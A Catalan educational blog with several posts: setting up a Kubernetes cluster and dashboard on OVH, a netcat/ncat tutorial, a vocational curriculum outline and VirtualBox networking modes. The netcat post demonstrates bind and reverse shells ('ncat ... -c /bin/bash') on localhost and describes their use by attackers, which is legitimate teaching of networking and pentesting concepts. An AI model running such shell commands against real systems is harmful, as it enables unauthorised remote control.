dimarts, 9 de febrer del 2021

Exemple de creació d’un clúster Kubernetes en el núvol

Què és Kubernetes?

 Es sol dir que és un «orquestrador» de contenidors d’aplicacions, més tècnicament, un middleware que permet integrar serveis provinents de diverses fonts, i proveir informació de forma síncrona o asíncrona. Està escrit en Go, creat per Google i cedit com programari lliure a la Cloud Native Computing Foundation (CNCF, https://www.cncf.io/ ).

S’estructura en Pods, la unitat mínima de computació, que permet executar un conjunt de contenidors sota una única IP, i el ReplicaSets, que controla les rèpliques de cada Pod. Aporta tolerància a errades, alta disponibilitat i escalabilitat en calent. A més a més permet fer instal·lacions i actualitzacions automàtiques, i mitjançant el proxy invers Ingress permet fer balanç de càrrega entre servidors (nodes). Els pods s'executen en nodes, que són màquines virtuals funcionant de forma sincronitzada formant un clúster.

Crear des de zero, usant màquines virtuals, un clúster Kubernetes no és tasca fàcil, i a més a més per fer-ho bé calen un mínim de tres màquines.  El més habitual en la pràctica és contractar un servei de virtualització en el núvol que facilita molt la tasca. En aquesta entrada de bloc veurem un exemple de creació de clúster en el núvol, en el que iniciarem un servei web simple, també habilitarem una interfície web de control del clúster.

Pas 1: creació del «pool» de nodes

Usarem el proveïdor OVH → Public Cloud Services → Crear un cluster Kubernetes; inicia un assistent:

 

Tres nodes és el mínim «sensat»: un node actua de màster i els altres dos s’anomenen «minions»: El màster no executa contenidors, són els encarregats de decidir en quin node (minion) s'executa cada contenidor, de mantenir l'estat eficient del clúster, d'assegurar que en tot moment hi ha el nombre desitjat de contenidors en execució i d'actualitzar les aplicacions de forma coordinada quan es despleguen noves versions. Node minion és aquell que executa els contenidors desplegats al clúster. De sèrie, Kubernetes pot executar contenidors Docker i RKT, sent possible integrar-lo amb altres motors existents a través de CRI (Container Runtime Interface).

 

Cada node és una màquina virtuals, però amb aquesta opció activada cada MV estarà en una màquina física diferent, per millorar la disponibilitat, si estan totes les MV en una màquina física si cau aquesta cau tot el clúster!

 

Ja el tenim creat.

Ens proporcionen les dades d’accés al clúster al núvol:

 


Ara mateix no hi han encara contenidors en execució:

 


 

Preparar accés al clúster des de màquina local

Per administrar el clúster remotament ens cal instal·lar el comandament kubectl en la nostra màquina local (la de casa, per entendre'ns). Primer el descarreguem:

 

jordi@jordi-sve1513c5e:~$ sudo curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/rel
ease/stable.txt)/bin/linux/amd64/kubectl"
[sudo] password for jordi:  
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100   161  100   161    0     0    851      0 --:--:-- --:--:-- --:--:--   851
100 38.3M  100 38.3M    0     0  5580k      0  0:00:07  0:00:07 --:--:-- 5970k
jordi@jordi-sve1513c5e:~$

 

Validar la descàrrega amb el hash:


jordi@jordi-sve1513c5e:~$ curl -LO "https://dl.k8s.io/$(curl -L -s https://dl.k8s.io/release/stable.t
xt)/bin/linux/amd64/kubectl.sha256"
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100   161  100   161    0     0    914      0 --:--:-- --:--:-- --:--:--   914
100    64  100    64    0     0    117      0 --:--:-- --:--:-- --:--:--   117
jordi@jordi-sve1513c5e:~$ echo "$(<kubectl.sha256) kubectl" | sha256sum --check
kubectl:
OK
jordi@jordi-sve1513c5e:~$


Instal·lar el comandament:


jordi@jordi-sve1513c5e:~$ sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
jordi@jordi-sve1513c5e:~$


NOTA: en entorn real caldrà sempre establir un tunel VPN i usar el comandament kubectl dins de la VPN! És altament insegur fer administració remota usant una connexió pública! Com hi ha una certa confusió entre connexió encriptada (com ara ssh) i xarxa privada virtual (VPN), convé un breu repàs.

  • Les connexions tipus SSH (com ara la de kubectl) connecten una màquina amb una altre màquina, a través de una xarxa local o d'una xarxa pública, encriptant la transmissió. 
  • Les connexions VPN en canvi connecten una màquina a una xarxa local sencera, també encriptant, de forma que la màquina es com si estigues dintre de la xarxa local remota, per això se li diu "xarxa privada (o local, no pública) virtual": l'equip remot es converteix en part de la xarxa a la que es connecta, i té accés complert a tota la xarxa. El tràfic de informació provinent dels  usuaris de la xarxa remota es vist com provinent d'una única adreça IP pública; això dificulta el seguiment d'un usuari de la xarxa remota doncs queda ocult en una única IP.
  • Per últim tenim les connexions ssh amb túnel, que són diferents a la VPN: ssh per defecte obre una sessió de shell (és a dir, el vostre terminal local està connectat a un shell que s’executa al sistema remot), però hi ha diferents tipus de dades que es poden transportar, un d’aquests tipus és una connexió de socket, per exemple, una connexió TCP: això s'anomena un túnel SSH; el client SSH escolta en un port TCP i transporta totes les connexions realitzades a aquest port a través del canal segur i surt de la connexió des del sistema remot. Per defecte, quan configureu un túnel, encara obtindreu un intèrpret d’ordres, SSH transporta dos tipus de dades per la mateixa connexió: el túnel i l’intèrpret d’ordres. A més a més les connexions SSH via túnel poden dirigir-se a través de ports TCP arbitraris

 

Configuració de la connexió remota amb el cluster

Descarreguem el fitxer de configuració del clúster proporcionat pel proveïdor del servei fins la màquina local, i el guardem en el directori ocult $HOME/.kube amb el nom config

 


El fitxer descarregat és quelcom semblant a: 

apiVersion: v1

clusters:

- cluster:

certificate-authority-data: LS0tLS1CRUdJTiBD(...)==

server: https://9tvsxd.c1.gra7.k8s.ovh.net

name: ASIXcs

contexts:

- context:

cluster: ASIXcs

user: kubernetes-admin-ASIXcs

name: kubernetes-admin@ASIXcs

current-context: kubernetes-admin@ASIXcs

kind: Config

preferences: {}

users:

- name: kubernetes-admin-ASIXcs

user:

client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ (etc ...)



Creem a continuació el servei "demo" proporcionat per el proveïdor hello-world, activant el balanç de càrrega entre nodes; el servei es  defineix pel fitxer de configuració en llenguatge yaml següent:


apiVersion: v1

kind: Service

metadata:

name: hello-world

labels:

app: hello-world

spec:

type: LoadBalancer

ports:

- port: 80

targetPort: 80

protocol: TCP

name: http

selector:

app: hello-world

---

apiVersion: apps/v1

kind: Deployment

metadata:

name: hello-world-deployment

labels:

app: hello-world

spec:

replicas: 1

selector:

matchLabels:

app: hello-world

template:

metadata:

labels:

app: hello-world

spec:

containers:

- name: hello-world

image: ovhplatform/hello

ports:

- containerPort: 80



Iniciem el servei amb el comandament kubectl:


jordi@jordi-sve1513c5e:~$ kubectl apply -f hello.yml
service/hello-world created
deployment.apps/hello-world-deployment created
jordi@jordi-sve1513c5e:~$

Llistem els contenidors (pods) i serveis (deploys) disponibles per veure que està actiu:

jordi@jordi-sve1513c5e:~$ kubectl -n=default get pods
NAME                                      READY   STATUS    RESTARTS   AGE
hello-world-deployment-559d658ffb-pdh8l   1/1     Running   0          2m56s
jordi@jordi-sve1513c5e:~$

jordi@jordi-sve1513c5e:~$ kubectl -n=default get deploy
NAME                     READY   UP-TO-DATE   AVAILABLE   AGE
hello-world-deployment   1/1     1            1           3m42s
jordi@jordi-sve1513c5e:~$

Llistem també els serveis disponibles, el que hem iniciat dona servei TCP/IP pel port 80 i és de l tipus servidor web:

jordi@jordi-sve1513c5e:~$ kubectl -n=default get services 
NAME          TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
hello-world   LoadBalancer   10.3.125.127   51.210.210.34   80:32452/TCP   4m37s

kubernetes    ClusterIP      10.3.0.1       <none>          443/TCP        39m
jordi@jordi-sve1513c5e:~$
Aquest servei de demostració és un servidor web que només retorna una pàgina; ara que està actiu, amb el navegador, anem a la IP externa per provar el servei: 

 

Aquest servei web s'està executant simultàniament en dos nodes (màquines virtuals) situades en diferents màquines físiques, dintre de contenidors Docker; un tercer node, el màster, s'encarrega de l'orquestració (balanç de càrrega i alta disponibilitat).

 

Instal·lació del tauler de control de Kubernetes


És una interfície web d’aministració per Kubernetes. La baixem i instal·lem mitjançant el comandament kubectl i un fitxer de configuració:


jordi@jordi-sve1513c5e:~$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.
0.0-rc7/aio/deploy/recommended.yaml


namespace/kubernetes-dashboard created
serviceaccount/kubernetes-dashboard created
service/kubernetes-dashboard created
secret/kubernetes-dashboard-certs created
secret/kubernetes-dashboard-csrf created
secret/kubernetes-dashboard-key-holder created
configmap/kubernetes-dashboard-settings created
role.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrole.rbac.authorization.k8s.io/kubernetes-dashboard created
rolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
deployment.apps/kubernetes-dashboard created
service/dashboard-metrics-scraper created
deployment.apps/dashboard-metrics-scraper created
jordi@jordi-sve1513c5e:~$

Ara creem un compte d’administració remota, usant un fitxer yaml


apiVersion: v1
kind: ServiceAccount
metadata:
  name: admin-user
  namespace: kubernetes-dashboard

i el comandament kubectl:



jordi@jordi-sve1513c5e:~$ kubectl apply -f dashboard-service-account.yml                             
serviceaccount/admin-user created
jordi@jordi-sve1513c5e:~$

a continuació, apliqueu el fitxer per afegir el compte de servei al clúster:


jordi@jordi-sve1513c5e:~$ kubectl apply -f dashboard-cluster-role-binding.yml
Warning: rbac.authorization.k8s.io/v1beta1 ClusterRoleBinding is deprecated in v1.17+, unavailable in
v1.22+; use rbac.authorization.k8s.io/v1 ClusterRoleBinding
clusterrolebinding.rbac.authorization.k8s.io/admin-user created
jordi@jordi-sve1513c5e:~$

després, utilitzant la funció d'administrador de clústers per al vostre clúster, crearem un RoleBinding, que el vincularà al vostre compte de serveis, amb el següent yaml:


apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: admin-user
  namespace: kubernetes-dashboard

executem:


jordi@jordi-sve1513c5e:~$ kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-das
hboard get secret | grep admin-user-token | awk '{print $1}')
Name:         admin-user-token-ggd8b
Namespace:    kubernetes-dashboard
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: admin-user
             kubernetes.io/service-account.uid: e2d4cfa2-1bd3-4c09-a2bb-e671736642f3

Type:  kubernetes.io/service-account-token

Data
====
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6Ii1pMEpPRkdaRGNZaC1UajZXMi05S0hkRzdoMVN2QWlUbGZmS3BDUlpBeWMif
.......
bMQTWwtzkLz4O_Rb7_FETXBJKtgMkTJBnRzeyYZ7VUnNixpsAjLftn-6KQ-KfFFTM_c4xFvodjW8ZQCMIRzbVS8
ca.crt:     1801 bytes
namespace:  20 bytes
jordi@jordi-sve1513c5e:~$


Iniciem l’aplicació:


jordi@jordi-sve1513c5e:~$ kubectl proxy
Starting to serve on 127.0.0.1:8001

Accedim a la interfície web d’administració, ens demana la cadena «token» encriptada com a contrasenya, i entrem a la pantalla principal:


La interfície web  pot desplegar aplicacions en contenidors d'un clúster de Kubernetes, solucionar problemes de l'aplicació, gestionar els recursos del clúster, donar una visió general de les aplicacions que s’executen al clúster, crear o modificar recursos de Kubernetes individuals (com ara deploys).  Per exemple, podeu escalar un deploy (escalar vol dir donar o treure-li recursos) iniciar una actualització, reiniciar un pod o desplegar noves aplicacions mitjançant un assistent de desplegament.

Tutorial interactiu de Kubernetes: https://kubernetes.io/docs/tutorials/kubernetes-basics/







 

 

 

 

 

 




 






diumenge, 31 de gener del 2021

Comandaments netcat i ncat

Netcat és un comandament Linux (existeixen versions per Windows) molt versàtil per administradors de xarxa i per ciberseguretat; pot llegir i escriure dades en un ordinador remot mitjançant paquets TCP o UDP, crear connexions raw ("en brut": permet accedir a protocols de xarxa de baix nivell) amb altres equips de la xarxa, banner grabing (descobriment de versions de serveis a Internet, util en auditories de seguretat o pentesting), etc. En algunes coses és similar a l'ordre telnet però més general, doncs pot connectar-se a qualsevol servei. Més tècnicament, netcat pot actuar com a servidor o client de socket (un recurs del sistema operatiu que utilitza un procés per connectar-se i demanar serveis de xarxa) i interactuar amb altres programes alhora enviant i rebent dades a través de la xarxa.

Per veure totes les opcions:

jordi@jordi-sve1513c5e:~$ nc -h
OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
         [-m minttl] [-O length] [-P proxy_username] [-p source_port]
         [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
         [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
       Command Summary:
               -4              Use IPv4
               -6              Use IPv6
               -b              Allow broadcast
               -C              Send CRLF as line-ending
               -D              Enable the debug socket option
               -d              Detach from stdin
               -F              Pass socket fd
               -h              This help text
               -I length       TCP receive buffer length
               -i interval     Delay interval for lines sent, ports scanned
               -k              Keep inbound sockets open for multiple connects
               -l              Listen mode, for inbound connects
               -M ttl          Outgoing TTL / Hop Limit
               -m minttl       Minimum incoming TTL / Hop Limit
               -N              Shutdown the network socket after EOF on stdin
               -n              Suppress name/port resolutions
               -O length       TCP send buffer length
               -P proxyuser    Username for proxy authentication
               -p port         Specify local port for remote connects
               -q secs         quit after EOF on stdin and delay of secs
               -r              Randomize remote ports
               -S              Enable the TCP MD5 signature option
               -s source       Local source address
               -T keyword      TOS value
               -t              Answer TELNET negotiation
               -U              Use UNIX domain socket
               -u              UDP mode
               -V rtable       Specify alternate routing table
               -v              Verbose
               -W recvlimit    Terminate after receiving a number of packets
               -w timeout      Timeout for connects and final net reads
               -X proto        Proxy protocol: "4", "5" (SOCKS) or "connect"
               -x addr[:port]  Specify proxy address and port
               -Z              DCCP mode
               -z              Zero-I/O mode [used for scanning]
       Port numbers can be individual or ranges: lo-hi [inclusive]

Connectar-se a un servidor remot per un port concret

Per exemple, per connectar-nos al servei web de google, pel port 80, fem

nc -v google.com 80

on "-v" indica a nc que informi del procés de connexió donant  informació; un cop aconseguida la connexió, podem usar els comandaments que permet el servei al que ens connectem, com ara l'ordre GET per el protocol http:


En aquest exemple netcat actua obrint un socket client.

Escoltar peticions en un port

En el següent exemple obrim un socket servidor, és a dir, que permetem que una màquina remota es connecti amb netcat. Per aconseguir-ho, en l'ordinador que farà de servidor llancem netcat així:

nc -l -v 1234

l'opció -l vol dir "listener", que posa a nc en mode "escoltar", el nombre representa un port qualsevol obert; si ens dona un  error de resolució de noms, afegim l'opció -n per indicar-li que només usi IPs, no noms DNS.  En un ordinador remot (o en el el mateix que fa de servidor, obrint un altre terminal) obrim una connexió telnet i provem a escriure alguna cosa:

 

Veiem que netcat fa un "eco" de qualsevol text que escrivim en la màquina remota; fixem-nos també en que netcat "s'entén amb el protocol telnet". El que hem aconseguit és un chat entre dues màquines.

Sobre les versions de netcat

nc i netcat són dos noms per al mateix programa,  normalment, un serà un enllaç simbòlic a l’altre.  Per altre banda hi ha dues implementacions diferents de Netcat: la "tradicional" i la "OpenBSD", que tenen diferents opcions i tenen diferents funcions; aquí si no es diu el contrari usem la tradicional. També tenim un tercer comandament, ncat, amb el mateix propòsit però forma part del projecte Nmap ( (https://nmap.org/ncat/) i té opcions diferents; en Ubuntu 20.04 netcat ve de sèrie, en canvi ncat cal instal·lar-lo.

Per exemple ncat disposa d'una opció molt convenient per fer pentesting:

-c, --sh-exec <command>    Executes the given command via /bin/sh

Per exemple, si afegim a ncat un senzill script que llegeixi indefinidament cadenes de text i les contesti, com ara

while true; do read i && echo [rebut:] $i; done

i fent com abans, obrim un telnet remot que connecti amb ncat, veurem que tot el que escrivim en telnet es contestat:


Shell remot

L'oció -c de ncat és capaç d'executar un shell sencer:

jordi@jordi-sve1513c5e:~$ ncat -v -l -p 1234 -c /bin/bash    
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:46790.

Amb això el que estem fent és obrir un shell del sistema que escolta peticions remotes a través del port 1234, és a dir, un "shell server" o un shell remot. Des d'una altre màquina ens connectem amb netcat, i provem a enviar al server algun comandament del shell:

Jordi@jordi-sve1513c5e:~$ nc localhost 1234
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
Documents
(...)

Esquemàticament: 
  1. un servidor obre un listener executant un shell local, i l'ofereix a la xarxa a través del port 1234
  2. una màquina remota obre connexió i envia ordres al shell remot, que s'executen en remot



Shell invers

Aquesta és la característica de netcat més utilitzada pel pentesting, s'utilitza per iniciar un shell des d'un sistema piratejat. Té diverses variants.

Ja hem vist que ens podem connectar per exemple al port 80 d'un servidor web per fer el GET d'una pàgina web. Tanmateix, a un hacker li interessa obtenir un intèrpret d'ordres remot com el de l'apartat anterior que proporcioni el control del sistema remot però iniciat des de la màquina atacant. La solució és utilitzar un shell invers: és quan la màquina atacada és la que demana la connexió a la màquina del atacant la qual li respon.

Aixó doncs, comencen aixecant un listener en la màquina atacant, que farà de servidor:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

A continuació el hacker ha de ser capaç d'executar ordres arbitràries al sistema remot o ha de poder enviar un fitxer executable, normalment un script, que farà de payload d'una vulnerabilitat descoberta prèviament en la màquina atacant, i que dependrà dels sistema atacat, pot ser un script PHP en un servidor web, un script powershell en un servidor Windows, etc. En aquest article no estem fen hacking ètic, només volem mostrar el concepte; per fer-ho executem netcat a l'ordinador atacat obrint un shell remot com el de l'apartat anterior

ncat localhost 1234 -c /bin/bash

Ara podem executar ordres dels shell remot des de la màquina atacant:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:47330.
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
( . . .)

En un escenari real de proves de pentesting no és possible executar netcat a la màquina atacada, s’utilitzen altres tècniques per crear un shell.

Esquemàticament: 
  1. un atacant executa un payload que li permet obrir un shell de la màquina remota
  2. l'atacant obre en la màquina atacada un listener que ofereix el shell a la xarxa 
  3. la màquina atacant obre connexió i envia ordres al shell remot, que s'executen en remot

Usant el protocol UDP

Totes les connexions anteriors usen TCP/IP, però afegint l'opció -u ho faran per UDP, l'exemple anterior per UDP és:

ncat -u -v -l -p 1234 -c 'while true; do read i && echo [rebut:] $i; done'

En l'exemple anterior en comptes de telnet pel client podem usar nc, que ja sabem que "imita a telnet". 

jordi@jordi-sve1513c5e:~$ nc localhost -u 1234
hola
[rebut:] hola


Netcat com a FTP

Usant el mecanisme del shell conegut com "filtre" o també com "canonada" (pipe) és fàcil enviar fitxers usant netcat; provem per exemple a fer

cat prova.txt | ncat -v -l -p 1234

la línia vertical indica al shell del SO que dirigeixi el resultat del comandament cat (llistar el fitxer per pantalla) no a la pantalla si no al següent comandament. ncat "recull" aquest contingut del fitxer, obra el port 1234 en mode listener i espera una connexió entrant.

jordi@jordi-sve1513c5e:~$ cat prova.txt | ncat -v -l -p 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

En l'ordinador remot (o en una altre consola del mateix) fem 

ncat localhost 1234 > copia.txt

Fem control-C i comprovem que s'ha rebut el contingut del fitxer prova.txt i s'ha bolcat en el fitxer copia.txt. Si no especifiquem fitxer destí, es mostrarà per pantalla.




 











diumenge, 7 d’abril del 2019

Programació de Windows amb Powershell

 Introducció a Powershell: cmdlets i objectes

Aquesta pàgina és una breu introducció al sistema d'scripting de Windows; se supposa que el lector té coneixements bàsics de programació a nivell de variables, paràmetres i estructure de control bàsiques.

dilluns, 23 de juliol del 2018

M1 UF1 Resultat d'aprenentatge 1

La primera competència professional que ens trobem en començar el mòdul 1 - Implantació de sistemes operatius és:


Resultat d’aprenentatge: RA1: Instal·la sistemes operatius, analitzant les seves característiques i interpretant la documentació tècnica.
 
A continuació detallem els continguts de l'àrea de coneixement, les realitzacions professionals relacionades, i expliquem una mica de que va tot plegat.

Els continguts


1. Fonaments de sistemes informàtics
1.1. La informació digital. Codificació de la informació.
1.2 Estructura funcional i components d'un sistema informàtic.
1.3 Microprocessadors. Execució d’instruccions. Programació d’ordinadors.
1.4 Placa base i altres components de maquinari. Perifèrics i adaptadors per a la connexió de dispositius.
2. Fonaments de xarxes d’ordinadors
2.1 Tipus de xarxes, cablatge i connectors. Mapa físic i lògic d’una xarxa. Dispositius de xarxa.
2.2 Protocols de xarxa. Serveis orientats i no orientats a connexió. Qualitat de servei (QoS).
2.3 Adreçament. Protocol IP.
2.4 La xarxa de xarxes: Internet. Estructura a gran escala de la xarxa. Proveïdors d’accés. Protocol DNS.
3. Fonaments de sistemes operatius i de programari
3.1.Arquitectura i funcions d'un sistema operatiu. El nucli del sistema.
3.2. Tipus de sistemes operatius: formes de classificar-los.
3.3 Gestió de la memòria i dels processos. Planificació.
3.4 El sistema de fitxers. Gestió de l’espai en disc.
3.5 Gestió dels dispositius.
3.6. Programari: de sistema i d’usuari. Tipus d'aplicacions
3.7. Llicències i tipus de llicències.
4. Fonaments de virtualització de sistemes informàtics
4.1 Virtualització de maquinari: utilitat, variants. Programari de virtualització.
4.2 Creació, configuració i gestió de màquines virtuals.
5. Instal·lació de programari
5.1. Instal·lació de sistemes operatius. Requisits, versions i llicències. Consideracions prèvies a la instal·lació.
5.2. Gestors d'arrencada: funcions, instal·lació i configuració. El procés d’arrencada. Fitxers d'inici de sistemes operatius.
5.3. Instal·lació / desinstal·lació d'aplicacions. Requisits, versions i llicències.
5.4. Actualització de sistemes operatius, d’aplicacions i de controladors de dispositius.
5.5 Registres del sistema. Repositoris de programari.
5.6. Resolució d'incidències d'instal·lació de programari.
 

Les realitzacions professionals relacionades, que es poden usar com criteris d'avaluació de la competència, són:

Criteris d’avaluació:

 

1.a (*) Descriu un sistema informàtic, i identifica els seus elements funcionals i mecanismes d’interconnexió.
1.b Identifica les característiques, funcions i arquitectura d'un sistema operatiu.
1.c Compara diferents sistemes operatius, les seves versions i llicències d'ús, en funció dels seus requisits, característiques i camps d'aplicació.
1.d Realitza instal·lacions de diferents sistemes operatius.
1.e Preveu i aplica tècniques d'actualització i rescats.
1.f Soluciona incidències del sistema i del procés d'inici.
1.g Utilitza eines per conèixer el programari instal·lat en el sistema i el seu origen.
1.h (*) Elabora documentació i presentacions orals relativa a les tasques realitzades i de suport de les instal·lacions efectuades i les incidències detectades.
1.i (*) Identifica i coneix les característiques dels elements principals del maquinari d’un sistema informàtic
1.j (*) Identifica i coneix les característiques de les xarxes d’ordinadors
1.k (*) Realitza instal·lacions, desinstal·lacions i configuracions de programari en diferents sistemes operatius
1.l (*) Utilitza i gestiona repositoris de programari i paquets d'instal·lació
1.m (*) Soluciona problemes de dependències de paquets i versions
1.n (*) Utilitza màquines virtuals per a realitzar tasques de instal·lacions de sistemes operatius i analitzar els seus resultats.
1.o (*) Realitza les tasques de forma autònoma i responsable, en cooperació amb l’equip de treball assignat.

Breu resum de la competència

Quan prestem serveis com a tècnics informàtics, una de les tasques habituals es instal·lar i mantenir sistemes operatius i el programari instal·lat en els equips, així com resoldre les incidències que aniran surtin en el dia a dia. Quan volem assolir un nivell superior de competència en aquesta tasca, és necessari conèixer bé els fonaments del que tenim entre mans: els sistemes informàtics; per això, el primer que hem de fer és conèixer els seus fonaments; conceptes com sistemes digitals, dades binàries, procés de dades, joc de instruccions, unitats funcionals, etc etc els hem de conèixer prou bé.  

Un exemple de lloc de treball relacionat amb la competència és el següent, extret de infojobs:



Cal tenir clar quins són els conceptes bàsics dels que parlem; són tots aquells que ens parlen de què és la informació digital, què és un ordinador digital, quines són les seves funcions  i la seva estructura, què és un programa, que vol dir programar un ordinador, què és un sistema operatiu, què és una xarxa d'ordinadors ...

En el cas de les xarxes, tant si anem a dedicar-nos a la programació com a la implementació de sistemes o d'altres perfils professionals dins de la Informàtica, les xarxes estaran sempre presents; és per això que ens cal tenir una base general de conceptes relatius a les xarxes d'ordinadors.  

Serem doncs competents en aquest aprenentatge professional quan estem capacitats per entendre com funciona i com està estructurat un sistema informàtic, com es connecten sistemes en xarxa, que són els sistemes operatius i els programes, com s'instal·len i es mantenen actualitzats, i ho demostrem amb evidències i cooperant amb un equip de treball en el que ens integrem.

Algunes fonts d'informació

És un tema molt ampli, i la informació disponible és molt nombrosa. Només donarem algunes fonts, classificades per temes i nivells: iniciació (pensat per alumnat que no ha fet cap cicle de informàtica, i te els coneixements tècnics a nivell d'usuari), professional (nivell de cicle de grau superior, és l'exigible per el títol superior) i avançat (nivell ampliació de coneixements, optatiu per qui tingui interès en investigar un tema concret). 

Àrea Fonaments de sistemes informàtics

1) Nivell iniciació
2) Nivell professional
 3) Nivell avançat
Àrea Fonaments de xarxes d’ordinadors

1) Nivell iniciació
2) Nivell professional






diumenge, 12 de novembre del 2017

Virtualització de xarxes amb Virtual Box

A l'article Virtualització de màquines ambVirtual Box  es dedica un apartat breu a les possibilitats de virtualització de la xarxa (apartat Xarxes amb Virtual Box). Aquí ampliem aquesta informació.

Xarxes Virtual Box 

Podeu canviar els modes de xarxa, IP i altres configuracions de xarxa en el gestor de Virtual Box anant a Màquina -> Paràmetres -> Xarxa o bé en qualsevol màquina virtual anant a Dispositius -> Xarxa. Aquests són els modes de xarxa que funcionen amb ordinadors convidats de VirtualBox:

  • NAT: per defecte, només per connexió a Internet, cap altre connexió
  • Xarxa única d'amfitrió: es veuen les màquines amfitrió i la virtual, sense Internet
  • Xarxa amb pont (bridge): la màquina virtual es comporta com una màquina més a la xarxa física, totes es veuen entre sí, si la màquina amfitrió surt a Internet, llavora la virtual també
  • Xarxa interna: només es connecten les màquines virtuals entre sí que estiguin en una mateixa màquina amfitrió
  • Xarxes NAT: podem formar grups de màquines virtuals que es veuen entre sí però no a la resta de màquines, ni virtuals ni reals, ni Internet
  • No connectat: màquina sense xarxa

Configuració NAT

NAT (Network Address Translation: Traducció d'adreces de xarxa) és la forma més senzilla d'accedir a una xarxa externa des d'una màquina virtual i és el mode de xarxa predeterminat en VirtualBox quan creem una màquina virtual (MV). Proporciona IPs automàtiques i connexió a Internet.

Una MV amb NAT habilitada actua com una de real que es connecta a Internet a través d'un enrutador, que, en aquest cas, és el propi programa VirtualBox, que fa de router entre cada màquina virtual i la màquina host amfitrió; en aquesta configuració les màquines virtuals no es veuen entre si.

Normalment usem NAT només per que la MV surti a Internet,  igual que una xarxa privada darrere d'un enrutador, la MV és invisible i inaccessible des de l'exterior, no podeu usar la MV com a servidor d'aquesta manera, excepte si es configura el reenviament de ports.

Els paquets TCP de xarxa enviats pel sistema operatiu convidat són rebuts pel component NAT de VirtualBox, que extreu les dades TCP / IP i les reenvía a Internet mitjançant el sistema operatiu host. Des de una aplicació allotjada a la màquina amfitrió o a una altra computadora de la mateixa xarxa que l'amfitrió, sembla com si les dades siguessin enviades per l'aplicació VirtualBox a l'amfitrió, utilitzant una adreça IP que pertany a l'amfitrió, per tant, la màquina virtual queda totalment oculta a Internet.

Configuració en adaptador pont

Amb xarxes configurades amb adaptador pont, La IP de la MV és manual (la especifica l'usuari); VirtualBox intercepta les dades de la xarxa física i li injecta les dades de la virtual, creant una nova interfície de xarxa: la màquina amfitrió pot enviar dades a la virtual i rebre dades d'aquesta, i també entre la MV i la resta de la xarxa física. Perquè això funcioni, VirtualBox necessita instal·lar un controlador de dispositiu al sistema host.

En el cas de que el host tingui connexió wifi la connexió pont es realitza de manera diferent: tot el trànsit ha d'utilitzar l'adreça MAC de l'adaptador inalàmbric de l'amfitrió i, per tant, VirtualBox necessita reemplaçar l'adreça MAC d'origen en l'encapçalament Ethernet dels paquets TCP per assegurar-se que la resposta s'enviarà a la interfície de l'amfitrió. Quan VirtualBox veu un paquet entrant amb una adreça IP de destinació que pertany a un dels adaptadors de la màquina virtual, reemplaça l'adreça MAC de destinació al encapçalament Ethernet amb l'adreça MAC de l'adaptador  de la MV i la transmet així. VirtualBox necessita examinar els paquets ARP i DHCP per conèixer les adreces IP de les màquines virtuals.

Configuració en xarxa interna


Les xarxes internes són similars a les xarxes en pont en que la MV pot comunicar-se directament amb el món exterior, però el "món exterior" es limita a altres VM allotjades en el mateix host i que es connecten a la mateixa xarxa interna. L'assignació d'IPs a les MV és manual.

En el mode de xarxa en pont tot el trànsit passa per la interfície física del sistema host,  per tant, és possible connectar un programa que intercepti paquets de xarxa (com Wireshark) a la interfície de l'amfitrió i registrar tot el trànsit. Si el que volem és dues o més màquines virtuals a la mateixa màquina amfitrió per comunicar-se enter sí de manera privada, amagant les seves dades tant del sistema host com de l'usuari, la xarxa en pont no és l'opció, millor la xarxa interna.

Les xarxes internes es creen automàticament segons sigui necessari: quan hi ha més d'una targeta de xarxa virtual activa amb la mateixa identificació de xarxa interna, el controlador de suport de VirtualBox automàticament "connectarà" les targetes i actuarà com a interruptor de xarxa. El controlador de suport de VirtualBox implementa un commutador Ethernet complet i admet broadcast / multicast i mode promiscu. 

Configuració xarxa única d'amfitrió (host-only network)


Activem aquesta modalitat en el panel de control de Virtual Box -> Fitxer ->Preferències -> Xarxa -> Xarxes de només amfitrió. Quan afegim una connexió, se'ns crea una configuració automàticament com la de la imatge; porta incorporat un servei DHCP de assignació automàtica d'IPs:


VirtualBox instal·la una targeta d'interfície de xarxa addicional (NIC: Network Interface Card) a l'ordinador amfitrió per identificar-se mentre es comunica amb el client. Per defecte, l'amfitrió obté l'adreça IP de 192.168.56.1:




També podem afegir un altre connexió personalitzada, amb la IP donada per nosaltres i sense DHCP, per exemple:


